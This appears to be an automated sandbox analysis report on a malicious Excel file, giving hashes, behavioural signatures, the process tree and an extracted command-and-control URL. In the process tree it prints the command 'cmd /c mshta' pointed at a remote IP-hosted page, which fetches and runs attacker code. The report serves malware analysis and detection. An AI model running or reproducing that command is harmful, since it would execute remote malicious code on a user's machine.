Analysis
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max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 20:59
Behavioral task
behavioral1
Sample
64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls
Resource
win10v2004-20241007-en
General
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Target
64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls
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Size
76KB
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MD5
0afc258310d09e92454c3679dc9d5298
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SHA1
f3ad63f18b438dc13b0a071027ad0369ee3f3f97
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SHA256
64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04
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SHA512
d39a39f9e1e35f52ce11039ecd4f6f26e05ba816d5430b1a376f8fb3df31a57f21246ea571ab25b0a2962ec285e87cdbe57eed4488166887c7854d1984ecb1ec
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SSDEEP
1536:1I+Hymsbck3hbdlylKsgqopeJBWhZFGkE+cMLxAAISQ5gQ72IotO6nitSU6U+x:1I+HymsYk3hbdlylKsgqopeJBWhZFGkz
Malware Config
Extracted
http://91.240.118.168/zzx/ccv/fe.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3180 2036 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 20 3592 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2036 wrote to memory of 3180 2036 EXCEL.EXE cmd.exe PID 2036 wrote to memory of 3180 2036 EXCEL.EXE cmd.exe PID 3180 wrote to memory of 3592 3180 cmd.exe mshta.exe PID 3180 wrote to memory of 3592 3180 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\64a0ce36b89c57c196caa4e8cb6f8be6fbccb4a66e7d5f32260aeab9d1d32c04.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zzx/ccv/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\system32\mshta.exemshta http://91.240.118.168/zzx/ccv/fe.html3⤵
- Blocklisted process makes network request
PID:3592
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD54da3ecf9942169161ef296111e5d0567
SHA13eb4585e668250f0fa51ee7f8d28c12d3a15cb4c
SHA2569ba8b811e9a593b5ff9f650f22e7589abe726471cada0e153eff409a6583f8b3
SHA51253003c6d63b34b2ed5ccb3204b03cbd13fc5a88c7bb99fe35fbf10322fc2a7469c5a632b457d230f17a417f2fa3be03fe30bf037a10eb14f46d5376792ea3f41